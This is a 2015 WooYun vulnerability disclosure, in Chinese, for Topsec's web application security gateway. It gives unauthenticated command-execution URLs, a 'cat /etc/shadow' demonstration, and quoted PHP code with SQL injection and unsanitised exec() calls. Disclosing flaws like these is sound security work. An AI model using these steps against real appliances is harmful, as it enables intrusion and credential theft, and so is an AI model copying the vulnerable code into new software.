当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(53) 关注此漏洞

缺陷编号: WooYun-2015-131155

漏洞标题: 天融信WEB应用安全网关任意命令执行+SQL注入(无需登录)

相关厂商: 天融信

漏洞作者: 路人甲

提交时间: 2015-08-03 08:11

公开时间: 2015-11-01 16:06

漏洞类型: 命令执行

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码审核 敏感文件操作参数未加过滤

15人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-03: 细节已通知厂商并且等待厂商处理中
2015-08-03: 厂商已经确认,细节仅向厂商公开
2015-08-06: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-09-27: 细节向核心白帽子及相关领域专家公开
2015-10-07: 细节向普通白帽子公开
2015-10-17: 细节向实习白帽子公开
2015-11-01: 细节向公众公开

简要描述:

天融信WEB应用安全网关三个不需要登录的任意命令执行和SQL注入+几十个普通权限的命令执行。

详细说明:

天融信的WEB应用安全网关我感觉是安全做的相对较好的一套系统,但最终还是找到一个疏漏的地方,可执行任意命令,同时还存在SQL注入,另外该系统在登录的前提下,还是有许多处可以直接执行命令的地方,这里就不多说了,望厂商自行修复。

前面有人提交了该系统的命令执行漏洞,但需要登录,非常鸡肋

code 区域
http://**.**.**.**/bugs/wooyun-2015-0116797



漏洞一、命令执行漏洞

这里首先给出不需要登录的命令执行。

code 区域
/function/ssh/file_ssh.php
/function/ssh/file_ssh_exec.php
/function/ssh/file_ssh_result.php



直接访问

code 区域
**.**.**.**/function/ssh/file_ssh.php



如图所示,并点击执行命令按钮

a.png



跳转到如下的连接,输入命令,并点击提交命令:

code 区域
**.**.**.**/function/ssh/file_ssh_exec.php?action=user_query&id=2



b.png



刷新页面,点击"查看"即可查看执行命令的结果,如下所示

c.png



这里以执行 cat /etc/shadow 为例

d.png



漏洞二、SQL注入

code 区域
/function/ssh/file_ssh.php



部分代码为:

code 区域
/* 获取用户查询信息 */
$id = getVar('id');
$starttime = getVar("starttime"); // 查询起始时间
$stoptime = getVar("stoptime"); // 查询结束时间
$page_num = getVar("page_num"); // 分页变量
$lines = getVar('lines'); // 每页显示记录数

$page_num = ($page_num != "") ? $page_num : 1;
$lines = ($lines != '') ? $lines : 10;
$offset = $lines * ( $page_num - 1 );

/* 构建SQL查询语句 */
$sql = "";
$sql = "SELECT * FROM tb_product";
$sql_where = " WHERE 1";
$sql_orderby = " order by status DESC limit $offset,$lines";

if($id != '' && $id != 'all'){
$sql_where .= " AND id=\"$id\"";
}



$lines参数,很明显的注入,但需要绕过系统本身的WAF,就不多说了

漏洞三:无数个命令执行漏洞

如下图所示

11.png



22.png



这些文件(包括但不限于这些文件)均存在任意命令执行漏洞,简单贴下造成漏洞的代码

命令执行一:

code 区域
/function/sysconfig/log_manage.php
class Datamanage extends baseControl{
public function doingSave()
{
$accesslog = getVar('accesslog');
$accesslog2db = getVar('accesslog2db');
$parselog = getVar('parselog');

$accesslog = ($accesslog=='on')? 'start' : 'stop';
$accesslog2db = ($accesslog2db=='on')? 'start' : 'stop';
$parselog = ($parselog=='on')? 'start' : 'stop';

$path = "/usr/local/waf/waa/bin/waf_system_config.sh ";

$cmd1 = $path." $accesslog accesslog";
@exec($cmd1, $out1, $ret1);



命令执行二:

code 区域
/function/sysconfig/syslogng_configs.php
class Datamanage extends baseControl
{
public function doingSave()
{
$accesslog = getVar('accesslog');
$accesslog2db = getVar('accesslog2db');
$parselog = getVar('parselog');

$accesslog = ($accesslog=='on')? 'start' : 'stop';
$accesslog2db = ($accesslog2db=='on')? 'start' : 'stop';
$parselog = ($parselog=='on')? 'start' : 'stop';

$path = "/usr/local/waf/waa/bin/waf_system_config.sh ";

$cmd1 = $path." $accesslog accesslog";
@exec($cmd1, $out1, $ret1);

$cmd2 = $path." $accesslog2db accesslog2db";
@exec($cmd2, $out2, $ret2);

$cmd3 = $path." $parselog parselog";
@exec($cmd3, $out3, $ret3);

$this->redirect("log_manage.php");
//jsAlert("操作成功");
//echo("<script language='javascript'>top.window.frames['carnoc'].location.reload();</script>");
//jsLocation('log_manage.php');
exit;
}



命令执行三:

code 区域
/function/appconfig/alarm/alarm_ddos.php
if(getVar("action") == 'save'){
$weboc = getVar("weboc");
$intervalValue = getVar("interval");
if(getVar("yj") == 1){
$emailValue = getVar("email");
$isEmailAbstratValue = getVar("isEmailAbstrat");
$emailValue = preg_replace("/[\r|\n]/i", "", $emailValue); // 就剩下xxx,xxx,xxx了。
}else{
$emailValue = "NULL";
$isEmailAbstratValue = "0";

}
if(getVar("fx") == 1){
$smsValue = getVar("sjNum");
$smsValue = preg_replace("/[\r|\n]/i", "", $smsValue); // 就剩下xxx,xxx,xxx了。
//add by haoyh,2011-8-19,BUG[52534]处理连续逗号
$smsValuearray =explode(',',$smsValue);
$smsValue="";
foreach($smsValuearray as $value)
{
if($value!="")
{
$smsValue.=$value.",";
}
}
$smsValue=trim($smsValue,",");
}else{
$smsValue = "NULL";
}
if($weboc == 0){
$cmd = "/usr/local/waf/waa/alarm/alarm_config.py ddos ".$weboc;
}else{
$cmd = "/usr/local/waf/waa/alarm/alarm_config.py ddos ".$weboc." ".$intervalValue." ".$emailValue." ".$isEmailAbstratValue." ".$smsValue;
}
@exec($cmd, $out, $ret);
error_show($message= array(
'defaultUrl' => '/function/appconfig/alarm/alarm_ddos.php',
'msg_content'=> ($ret ? "操作失败":"操作成功"),
'label'=> '返回告警管理',
'why' => $cmd,
'where'=> 'DDos攻击告警修改',
'status'=> $ret ? '1': '0',
'menu'=>'appconfig'
));
}



其他的命令执行还有非常多,请官方自行检查!

漏洞证明:

这里以执行 cat /etc/shadow 为例

d.png

修复方案:

过滤吧

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-08-03 16:04

厂商回复:

感谢您的关注

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-08-03 09:12 | YY-2012 ( 核心白帽子 | Rank:3726 漏洞数:718 | 意淫,是《红楼梦》原创的词汇,但后来演变...)
    0

    ……

  2. 2015-08-03 09:14 | 大大灰狼 ( 普通白帽子 | Rank:278 漏洞数:64 | Newbie)
    0

    ...

  3. 2015-08-03 11:33 | 我能拒绝么 ( 路人 | Rank:10 漏洞数:3 )
    0

    ...

  4. 2015-08-03 11:34 | 正义的伙伴 ( 普通白帽子 | Rank:131 漏洞数:28 | 正义!!)
    0

    ...

  5. 2015-08-03 16:41 | Whysec ( 实习白帽子 | Rank:47 漏洞数:15 )
    0

    ...

  6. 2015-08-06 19:11 | 草原飞歌 ( 路人 | Rank:4 漏洞数:1 | #乌云白帽子福利#我在乌云集市使用1WB参与...)
    0

    ...

  7. 2015-08-07 09:13 | 野驴~ ( 路人 | Rank:5 漏洞数:3 | 充满强烈好奇心的菜鸟。)
    0

    ..

  8. 2015-08-29 10:48 | Rainism ( 路人 | Rank:11 漏洞数:3 | hacking for fun)
    0

    ……

  9. 2015-11-02 09:38 | Sai、 ( 路人 | Rank:14 漏洞数:4 | for fun……)
    0

    ...

  10. 2015-11-02 10:14 | 小胖胖墩 ( 路人 | Rank:16 漏洞数:4 | 对安全的热情不会熄灭)
    0

    ...

  11. 2015-11-02 12:47 | crytek ( 路人 | Rank:0 漏洞数:1 | 萌萌哒的安全小白)
    0

    ,,,,,,,,,,

  12. 2015-11-02 13:32 | 坏男孩-A_A ( 实习白帽子 | Rank:81 漏洞数:23 | 膜拜学习中)
    1

    .............

  13. 2015-11-02 20:07 | 屠龙宝刀点击就送 ( 路人 | Rank:4 漏洞数:2 | 简要介绍不能为空)
    0

    ……………

登录后才能发表评论,请先 登录